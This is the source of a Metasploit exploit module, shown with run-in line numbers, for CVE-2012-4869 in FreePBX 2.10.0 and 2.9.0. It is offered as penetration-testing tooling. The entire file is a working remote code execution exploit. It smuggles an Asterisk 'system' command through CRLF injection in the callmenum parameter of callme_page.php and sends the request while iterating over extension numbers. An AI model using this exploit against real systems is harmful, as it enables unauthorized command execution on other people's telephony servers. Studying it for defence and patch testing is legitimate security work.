Path: blob/master/modules/exploits/unix/http/freepbx_callmenum.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',15'Description' => %q{16This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.17Due to the way callme_page.php handles the 'callmenum' parameter, it18is possible to inject code to the '$channel' variable in function19callme_startcall in order to gain remote code execution.2021Please note in order to use this module properly, you must know the22extension number, which can be enumerated or bruteforced, or you may23try some of the default extensions such as 0 or 200. Also, the call24has to be answered (or go to voice).2526Tested on both Elastix and FreePBX ISO image installs.27},28'Author' => [ 'muts', 'Martin Tschirsich' ],29'License' => MSF_LICENSE,30'References' => [31[ 'CVE', '2012-4869' ],32[ 'OSVDB', '80544' ],33[ 'EDB', '18649' ]34],35'Platform' => ['unix'],36'Arch' => ARCH_CMD,37'Privileged' => false,38'Payload' => {39'Space' => 1024,40'DisableNops' => true,41},42'Targets' => [43[ 'Automatic Target', {}]44],45'DefaultTarget' => 0,46'DisclosureDate' => '2012-03-20',47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),58]59)60end6162def exploit63# Check range input64if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/65min = $1.to_i66max = $2.to_i67else68print_error("Please specify a range for option 'EXTENSION'")69return70end7172cmd = Rex::Text.uri_encode(payload.encoded)7374(min..max).each do |e|75connect76print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")77res = send_request_raw({78'method' => 'GET',79'uri' => "/recordings/misc/callme_page.php?action=c&callmenum=" + e.to_s + "@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",80'version' => '1.0',81'vhost' => rhost82})83handler84disconnect85end86end87end888990